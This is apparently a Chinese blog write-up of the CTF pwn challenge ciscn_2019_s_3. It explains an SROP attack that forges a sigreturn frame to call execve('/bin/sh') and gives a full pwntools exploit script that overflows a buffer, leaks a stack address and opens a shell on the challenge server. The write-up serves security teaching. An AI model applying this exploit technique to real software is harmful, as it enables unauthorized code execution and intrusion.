ciscn_2019_s_3

ciscn_2019_s_3

Checksec:

Ida:

看到代码量很少,同时出现了syscall基本上这题就是srop了。

接下来确定溢出,offest=0x10

srop :伪造 sigreturn frame 去 伪造 execve("/bin/sh",0,0) 来 getshell

我们已经确定了offest还需要完成

1,需要知道栈的地址(比如需要知道自己构造的字符串`/bin/sh`的地址);

2,需要知道`syscall`指令在内存中的地址;

3,需要知道`sigreturn`系统调用的内存地址。

确定栈偏移:

Offest=0x118

Syscall:0x400517

Sigreturn:需要我们找到sigreturn内存地址或者通过将rax赋值为15

完成了所有条件我们构造exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = remote("node4.buuoj.cn",29168)
sigreturn = 0x4004DA
read_write = 0x4004F1
system_call = 0x400517
payload =flat( '/bin/sh\x00') +flat( 'a'*0x8) + p64(read_write) 
r.send(payload)
r.recv(32)
sh_addr = u64(r.recv(8)) - 0x118
r.recv(8)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
payload =flat( 'a'*0x10)+p64(sigreturn)+p64(system_call)+flat(frame)
r.send(payload)
r.interactive()

Flag:

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值